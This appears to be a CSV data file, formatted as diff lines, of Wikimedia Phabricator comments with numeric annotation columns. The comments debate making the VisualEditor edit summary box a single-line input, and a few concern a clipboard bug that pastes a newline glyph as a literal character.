+493871,VisualEditor: Edit summary box should be a text input box and not textarea,">>! In T54133#1465077, @matmarex wrote:
+> even worse in VE than in wikitext editor because the input field is narrower.
+
+Putting a (wider) summary box in the main editor UI would solve {T52961} as well.",,,1437402576,,PHID-USER-je4a7kqdfgacwkyhtg4c,False,,,PHID-TASK-y2wr4truqmwwemxh72yk,task_subcomment,,True,c1,3,False,,,107,,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,1,0,1
+493861,VisualEditor: Edit summary box should be a text input box and not textarea,"Such input box will still not wrap the typed text, which is terrible enough by itself for users, and even worse in VE than in wikitext editor because the input field is narrower.",,,1437401367,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-y2wr4truqmwwemxh72yk,task_subcomment,,True,c1,3,True,,,107,,0,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,1,0,1,0,0
+493849,VisualEditor: Edit summary box should be a text input box and not textarea,How about making it an input box and just set `padding-bottom` to make it //feel// like a textarea?,,,1437399200,,PHID-USER-je4a7kqdfgacwkyhtg4c,False,,,PHID-TASK-y2wr4truqmwwemxh72yk,task_subcomment,,True,c1,3,False,,,107,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,1,0,1,0,0,0
+493817,VisualEditor: Edit summary box should be a text input box and not textarea,"As discussed on the patch, assuming that we want the text to wrap, this is **not actually possible to do** for most languages, and an English-only half-solution would be inappropriate. Browsers are really letting us down here.
+
+As I understand, there are two reasons why we would want this, which have separate tasks:
+* {T106325}
+* {T50274}
+
+We should focus on resolving these, which should be possible regardless of the underlying text field used.",,,1437391823,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-y2wr4truqmwwemxh72yk,task_subcomment,,True,c1,3,True,,,107,,0,0,0,0,1,1,1,0,0,0,1,0,0,1,1,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,1,0,1,1,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,1,0
+493815,VisualEditor: Edit summary box should be a text input box and not textarea,"Change 212795 abandoned by Bartosz Dziewoński:
+[WIP] TextInputWidget: Allow wrapped singleline inputs
+
+Reason:
+This is not going to be compatible with different text input methods.
+
+[[https://gerrit.wikimedia.org/r/212795]]",,,1437391169,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-y2wr4truqmwwemxh72yk,task_subcomment,,True,c1,3,False,,,107,,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+462285,VisualEditor: Edit summary box should be a text input box and not textarea,"The idea may or may not actually be a good one. It's definitely interesting. The gist is that we dynamically swap the <input type=text> for a <textarea>. It has some funny behavior but sort of works.
+
+The patch above makes it impossible to type a newline into the field, and should let it display the automatic browser's autocompletion when it is single-line. Ed mentioned that it can break with IMEs if you're typing a word and it changes from input to textarea in the middle of it.",,,1432313088,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-y2wr4truqmwwemxh72yk,task_subcomment,,True,c1,3,True,,,98,,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,1,1,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+462284,VisualEditor: Edit summary box should be a text input box and not textarea,"Change 212795 had a related patch set uploaded (by Bartosz Dziewoński):
+Allow wrapped singleline inputs
+
+[[https://gerrit.wikimedia.org/r/212795]]
+",,,1432312920,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-y2wr4truqmwwemxh72yk,task_subcomment,,True,c1,3,False,,,98,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+462223,VisualEditor: Edit summary box should be a text input box and not textarea,"I think I have a pretty good idea on how to implement this, I'll try to do some pre-hackathon hacking on it today.",,,1432288471,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-y2wr4truqmwwemxh72yk,task_subcomment,,True,c1,3,True,,,98,,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0
+462139,VisualEditor: Edit summary box should be a text input box and not textarea,">>! In T54133#1302510, @Whatamidoing-WMF wrote:
+> I care whether it **behaves like** the wikitext edit summary in terms of interacting with my web browser.  I want to type a complex edit summary once, and have that edit summary automagically re-appear whenever I start typing it on my next edit.  If you can give me that useful function while making the box a perfect square, then I'm satisfied.  I need the function, not the appearance. 
+
+Yup. IIUC, changing the textarea to a text input line, will solve {T50274} (possibly that should be listed as blocked by this?)
+
+Re: keeping it visually highlighted - do note that the textarea has the bright blue border now, when the field is active, which it is automatically when opened, (but not shown in matmarex's screenshot above), and I think that could be sufficient. 
+
+
+",,,1432250744,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-y2wr4truqmwwemxh72yk,task_subcomment,,True,c1,3,False,,,98,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,0,1,1,1,0,1,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,1,0,1,1,0,1,1,1,1,0,0,1
+462085,VisualEditor: Edit summary box should be a text input box and not textarea,"I've said this in several places, but I repeat it here:  I don't care what size or shape the edit summary box is on my computer screen.  
+
+I care whether it **behaves like** the wikitext edit summary in terms of interacting with my web browser.  I want to type a complex edit summary once, and have that edit summary automagically re-appear whenever I start typing it on my next edit.  If you can give me that useful function while making the box a perfect square, then I'm satisfied.  I need the function, not the appearance. ",,,1432241088,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-y2wr4truqmwwemxh72yk,task_subcomment,,True,c1,3,False,,,98,,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,1,0,0,1,0,1,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,1,1,0,0,0
+462084,VisualEditor: Edit summary box should be a text input box and not textarea,"The last thing I heard is that making the edit summaries any bigger required redesigning //the database// (yes, //that// database), not merely the user interface.",,,1432240831,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-y2wr4truqmwwemxh72yk,task_subcomment,,True,c1,3,False,,,98,,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,1,1,0,1
+462074,VisualEditor: Edit summary box should be a text input box and not textarea,">>! In T54133#1302437, @awight wrote:
+> Okay, I understand where that's coming from.  On the other hand, sometimes it's really helpful to have a brief summary sentence, then a few more paragraphs of relevant things which fall into the ""why"" category and are therefore more appropriate in a summary or the Talk page than in the main article.
+
+Well, edit summaries are limited to around 200 characters. Changing that limit would involve redesigning the UI, which is doable, but is a fairly big undertaking that should only be done if there's some specific need to change this. I don't think there's a need for that.
+
+> How would you suggest we broaden this discussion?  I'm not sure this is the right place, and donno if wikitech-l is the best mailing list, cos we should involve editors.
+
+I expect that the product folks in the VisualEditor Team will take our input then make an appropriate decision. :-)",,,1432238326,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-y2wr4truqmwwemxh72yk,task_subcomment,,True,c1,3,True,,,98,,1,0,0,1,1,1,1,0,0,1,1,1,1,1,1,1,1,1,1,0,1,1,0,0,1,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,0,0,0,0,0,1,0,1,1,1,1,1,1,1,0,0,0,0,1,1,1,1,0,1,0,1,1,1,1,1,1,1,1,0,1,1,0,1,1,1,0,1,1,1,1,1,1,1,0,1,1,0,1,1,1,1
+462069,VisualEditor: Edit summary box should be a text input box and not textarea,"Okay, I understand where that's coming from.  On the other hand, sometimes it's really helpful to have a brief summary sentence, then a few more paragraphs of relevant things which fall into the ""why"" category and are therefore more appropriate in a summary or the Talk page than in the main article.
+
+How would you suggest we broaden this discussion?  I'm not sure this is the right place, and donno if wikitech-l is the best mailing list, cos we should involve editors.",,,1432237819,,PHID-USER-p6hvqn5njgnxuagekh4b,False,,,PHID-TASK-y2wr4truqmwwemxh72yk,task_subcomment,,True,c1,3,True,,,98,,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,1,0,1,0,1,1,0,1,1,1,0
+462066,VisualEditor: Edit summary box should be a text input box and not textarea,">>! In T54133#1302396, @awight wrote:
+> @Deskana, I'm curious why you say that,
+>> We want users to be fairly brief with their edit summaries
+
+Edit summaries are intended to be quite brief summaries of the edits. I don't think encouraging users to write a lot of text in there is a good idea.",,,1432236841,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-y2wr4truqmwwemxh72yk,task_subcomment,,True,c1,3,True,,,98,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,1
+462065,VisualEditor: Edit summary box should be a text input box and not textarea,"@Deskana, I'm curious why you say that,
+> We want users to be fairly brief with their edit summaries",,,1432236748,,PHID-USER-p6hvqn5njgnxuagekh4b,False,,,PHID-TASK-y2wr4truqmwwemxh72yk,task_subcomment,,True,c1,3,True,,,98,,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,1,0,0,0,0,0,1
+461076,VisualEditor: Edit summary box should be a text input box and not textarea,">>! In T54133#1296269, @matmarex wrote:
+> For comparison. The last one looks positively //tiny//.  We'd need to come up with something smart if we were to make it single-line.
+
+That's not necessarily a bad thing. We want users to be fairly brief with their edit summaries, and bigger boxes are more likely to encourage them to write more. Smaller boxes encourage the opposite.
+
+That said, we'd have to be sure that the user's attention isn't drawn to the wrong place; in the last screenshot, the box is so small that the user's attention may not immediately be drawn to that text box. You could try try making the font in the box slightly larger, and slightly increasing the width of the dialogue to compensate.
+
+",,,1432068967,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-y2wr4truqmwwemxh72yk,task_subcomment,,True,c1,3,True,,,98,,0,1,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,1,0,0,1,1,1,0,1,0,0,0,1,1,1,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,0,1,1,1,1,0,1
+460780,VisualEditor: Edit summary box should be a text input box and not textarea,"For comparison. The last one looks positively //tiny//.  We'd need to come up with something smart if we were to make it single-line.
+
+| Current edit summary field | {F166629,size=full} |
+| -- |
+| Wikitext editor edit summary field | {F166627,size=full} |
+| -- |
+| Proposed edit summary field (single-line) | {F166624,size=full} |
+| -- |
+",,,1432045895,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-y2wr4truqmwwemxh72yk,task_subcomment,,True,c1,3,True,,,98,,0,1,0,0,0,1,1,0,0,1,0,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+460545,VisualEditor: Edit summary box should be a text input box and not textarea,"Just merged in very similar task arguing that enter should submit the summary field. (On a similar note, I've proposed using meta + enter as a general shortcut for submitting dialogs in T98105.)
+
+Good points in the comments:
+
+@matmarex:
+>This could be confusing since the summary text field looks like a multiline text input, possibly causing users to accidentally submit with incomplete summaries (which can't be corrected afterwards).
+>
+>It could be interesting to try something else – maybe pressing Enter twice to submit the form, maybe Ctrl+Enter? We should probably do some research.
+>
+>...
+>
+>* Facebook: comments to posts on the timeline are normally single-line (pressing Enter in the text field submits a comment), but you can make them multi-line by pressing Ctrl+Enter or Shift+Enter (or by copy-pasting text with newlines). Pressing Enter submits the comment even if it is multi-line.
+>* My bank has these ""wrapped single-line"" inputs in some fields and pressing Enter always does nothing in them. Accidentally submitting a form could potentially have dire consequences there.
+
+@Deskana:
+>For the advanced user, the current approach where enter adds new lines is counterintuitive. The advanced user not only knows that edit summaries cannot be multi-line, but it also feels wrong because they're also used to enter submitting their edit.
+>
+>For the new user, the current approach feels misleading, as you're giving the user an expectation that edit summaries can be multi-lined when in fact they cannot. This user has no expectations about enter submitting the edit, so probably doesn't care too much about that.
+>
+>I think the best approach would be to make the edit summary box single-line, and make enter submit the edit.",,,1431978382,,PHID-USER-vixhpqcaqfpdj6impfwy,False,,,PHID-TASK-y2wr4truqmwwemxh72yk,task_subcomment,,True,c1,3,True,,,98,,1,1,1,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0,1,0,0,0,1,1,1,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1,0,0,1,1,1,1,1,1,1,0,0,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,1,0,1,1,1,1,0,1,1
+241394,VisualEditor: Edit summary box should be a text input box and not textarea,"(In reply to Spinningspark from comment #10)
+
+However, the input box should be large enough to accomodate the maximum permitted length of edit summary, even if that means using two lines.",,,1411393509,,PHID-USER-imut7wxehhy35ukuzaks,False,,,PHID-TASK-y2wr4truqmwwemxh72yk,task_subcomment,,True,c1,3,False,,,64,,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+241389,VisualEditor: Edit summary box should be a text input box and not textarea,"(In reply to Amir E. Aharoni from comment #9)
+> Is it possible to meet in the middle: To show it as a textarea, but to allow
+> saving using Enter/Return? And maybe provide autocomplete?
+
+That will lead to another problem: newbies will accidentally save before they have finished entering the summary.
+
+The fact is, the edit summary *is not* a text area and should not be displayed as such.  It can only ever be a single line of text.  That is what should be shown.  Enter should initiate a save.",,,1411391908,,PHID-USER-imut7wxehhy35ukuzaks,False,,,PHID-TASK-y2wr4truqmwwemxh72yk,task_subcomment,,True,c1,3,False,,,64,,0,0,0,1,1,1,1,0,0,0,1,0,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+241384,VisualEditor: Edit summary box should be a text input box and not textarea,"Is it possible to meet in the middle: To show it as a textarea, but to allow saving using Enter/Return? And maybe provide autocomplete?",,,1409247587,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-y2wr4truqmwwemxh72yk,task_subcomment,,True,c1,3,False,,,60,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,0
+241380,VisualEditor: Edit summary box should be a text input box and not textarea,"Bug 48274 seems to cover the same ground, and was one of the first things I found problematic with VE: those of us who do a lot of regular work on many different articles usually have a set of standardised edit summaries which can convey a lot of useful information, with links, to help other editors. The autocomplete facility provided by browsers for a one-line input box worked well.",,,1375521561,,PHID-USER-7zhn2ep5wvjhxetsbb6n,False,,,PHID-TASK-y2wr4truqmwwemxh72yk,task_subcomment,,True,c1,3,False,,,4,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,0
+241375,VisualEditor: Edit summary box should be a text input box and not textarea,"**JohnCD67** wrote:
+
+Killiondude's comment 1 is an significant usability point - for repetitive tasks it is very helpful that the browser pops up a list of suggestions to click on, which is context-sensitive and based on previous usage. I did not realise how helpful that was until with VE I found myself having to type the full edit summary each time.",,,1375440006,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-y2wr4truqmwwemxh72yk,task_subcomment,,True,c1,3,False,,,4,,1,0,1,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,1,0,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+241370,VisualEditor: Edit summary box should be a text input box and not textarea,"(In reply to comment #5)
+> > Sure, but collapsing the box down to a single line would de-emphasise the
+> > edit summary, however, and turn it back into ""a mysterious text box"" that
+> > uses ""feel free to skip"".
+> 
+> Why would it?
+> 
+> It's still hidden behind a modal dialog. I will wager that editors still feel
+> forced to fill it in simply because it is there.
+
+The numbers went up when we switched from inputbox to textarea. Expecting them not to fall when we reverse that change seems unlikely to me.",,,1375423283,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-y2wr4truqmwwemxh72yk,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,1,1,0,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,1,0,1,1,1,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,0,1,1,0,1,0,1,1,1,1,0,0,1
+241365,VisualEditor: Edit summary box should be a text input box and not textarea,"**sk8er_97456** wrote:
+
+> Sure, but collapsing the box down to a single line would de-emphasise the
+> edit
+> summary, however, and turn it back into ""a mysterious text box"" that uses
+> ""feel
+> free to skip"".
+
+Why would it?
+
+It's still hidden behind a modal dialog. I will wager that editors still feel forced to fill it in simply because it is there.",,,1375418475,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-y2wr4truqmwwemxh72yk,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+241359,VisualEditor: Edit summary box should be a text input box and not textarea,"(In reply to comment #3)
+> I seriously doubt that that is the reason you have a higher incidence of edit
+> summaries. What you did in parallel to making it a textarea was that you hid
+> the ""Save page"" final submit button behind a dialog that prominently presents
+> the box for an edit summary. Users no longer feel free to skip a mysterious
+> text box and click ""Save page"" right away, the look and feel of the modal
+> dialog forces them to consider filling it out in full before proceeding.
+> That's why you're getting more edit summaries.
+
+Sure, but collapsing the box down to a single line would de-emphasise the edit summary, however, and turn it back into ""a mysterious text box"" that uses ""feel free to skip"".",,,1375415740,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-y2wr4truqmwwemxh72yk,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,1,0,1,1,1,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1
+241354,VisualEditor: Edit summary box should be a text input box and not textarea,"**sk8er_97456** wrote:
+
+I seriously doubt that that is the reason you have a higher incidence of edit summaries. What you did in parallel to making it a textarea was that you hid the ""Save page"" final submit button behind a dialog that prominently presents the box for an edit summary. Users no longer feel free to skip a mysterious text box and click ""Save page"" right away, the look and feel of the modal dialog forces them to consider filling it out in full before proceeding. That's why you're getting more edit summaries.",,,1375414773,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-y2wr4truqmwwemxh72yk,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0
+241348,VisualEditor: Edit summary box should be a text input box and not textarea,"By making the summary a textarea rather than an inputbox we've seen a radically-greater number of editors (especially, anonymous and new editors) entering edit summaries for their edits. I think we should think very seriously about the impact of such a change before just making it.",,,1375388426,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-y2wr4truqmwwemxh72yk,task_subcomment,,True,c1,3,True,,,4,,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,1,0,0
+241342,VisualEditor: Edit summary box should be a text input box and not textarea,"**KilliondudeWP** wrote:
+
+Another issue brought up with having a text area box is that previously entered summaries are not suggested. Most browsers suggest prior terms entered into text input boxes, this allowing editors to choose from their (frequently) used summaries.
+
+https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Improvements&oldid=566754323#Autofill_edit_summary",,,1375384096,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-y2wr4truqmwwemxh72yk,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,0
+54096,"VisualEditor: Copying between editors with wikitext-irrelevant CRs pastes the ↵ as a literal character, not a CE newline placeholder","Steps to reproduce
+1. Create a page with a linefeed
+2. Edit it in VE
+3. Copy the block containing the ↵
+4. In a new VE window, paste
+
+Expected results:
+VE smartly removes the ↵
+
+Actual results:
+The ↵ is pasted into the second VE as a literal character
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=53828",Low,25.0,1374849360,1378923398.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,False,PHID-TASK-bmgl5fdektu6pj27wpm4,task_description,resolved,True,c1,3,False,False,True,3,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+239403,"VisualEditor: Copying between editors with wikitext-irrelevant CRs pastes the ↵ as a literal character, not a CE newline placeholder","Just want to capture that in many cases the user could want the ↵ to mean ""break this line and create a new line""
+
+I don't think this is 100% of the time, but enough that we should think about it.",,,1378923579,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-bmgl5fdektu6pj27wpm4,task_subcomment,,True,c1,3,False,,,10,,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,1,0,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,1,0,1,0,0,1,0,0,0,0,0
+239397,"VisualEditor: Copying between editors with wikitext-irrelevant CRs pastes the ↵ as a literal character, not a CE newline placeholder","Change 83222 merged by jenkins-bot:
+The Great [...] Rewrite of 2013: Clipboard edition
+
+https://gerrit.wikimedia.org/r/83222",,,1378923311,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bmgl5fdektu6pj27wpm4,task_subcomment,,True,c1,3,False,,,10,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+239392,"VisualEditor: Copying between editors with wikitext-irrelevant CRs pastes the ↵ as a literal character, not a CE newline placeholder","Change 83222 had a related patch set uploaded by Esanders:
+The Great [...] Rewrite of 2013: Clipboard edition
+
+https://gerrit.wikimedia.org/r/83222",,,1378548144,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bmgl5fdektu6pj27wpm4,task_subcomment,,True,c1,3,False,,,9,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
